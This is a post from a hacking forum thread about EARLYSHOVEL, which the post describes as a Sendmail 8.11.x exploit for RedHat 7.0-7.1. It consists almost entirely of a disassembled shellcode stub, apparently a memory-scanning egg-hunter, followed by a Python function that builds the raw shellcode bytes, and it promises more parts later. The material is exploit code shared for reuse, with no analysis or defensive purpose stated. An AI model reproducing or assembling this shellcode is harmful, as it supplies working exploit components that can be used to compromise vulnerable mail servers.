Sinisterly
EARLYSHOVEL disassembly (x86) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Assembly (https://sinister.ly/Forum-Assembly)
+--- Thread: EARLYSHOVEL disassembly (x86) (/Thread-EARLYSHOVEL-disassembly-x86)



EARLYSHOVEL disassembly (x86) - ConcernedCitizen - 04-03-2022

EARLYSHOVEL

What is it?
A RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The original Python and ASM should interest you

Code:
# https://gist.github.com/84a98b20a6c4186890f1520c5bd2caa0 # Disasembly D: # 0000000000000000 EB1E                            JMP 0000000000000020 # 0000000000000002 59                              POP RCX # 0000000000000003 51                              PUSH RCX # 0000000000000004 FF31                            PUSH QWORD PTR [RCX] # 0000000000000006 59                              POP RCX # 0000000000000007 58                              POP RAX # 0000000000000008 31DB                            XOR EBX,EBX # 000000000000000A B304                            MOV BL,04 # 000000000000000C 01D8                            ADD EAX,EBX # 000000000000000E F6DB                            NEG BL # 0000000000000010 20D8                            AND AL,BL # 0000000000000012 F6DB                            NEG BL # 0000000000000014 01D8                            ADD EAX,EBX # 0000000000000016 3B08                            CMP ECX,DWORD PTR [RAX] # 0000000000000018 75FA                            JNE 0000000000000014 # 000000000000001A 01D8                            ADD EAX,EBX # 000000000000001C 50                              PUSH RAX # 000000000000001D 59                              POP RCX # 000000000000001E FFE1                            JMP RCX # 0000000000000020 E8DDFFFFFF                      CALL 0000000000000002 # 0000000000000025 51                              PUSH RCX # 0000000000000026 51                              PUSH RCX # 0000000000000027 51                              PUSH RCX # 0000000000000028 51                              PUSH RCX #!/usr/bin/python spin = "\xeb\x1e" start = "\x59\x51\xff\x31\x59\x58\x31\xdb\xb3\x04\x01\xd8\xf6\xdb\x20\xd8" "\xf6\xdb" findit = "\x01\xd8\x3b\x08\x75\xfa" found = "\x01\xd8\x50\x59\xff\xe1" end = "\xe8\xdd\xff\xff\xff" # marker data = "\x51\x51\x51\x51" def build():     tmp = spin + start + findit + found + end + data     return tmp


More to follow..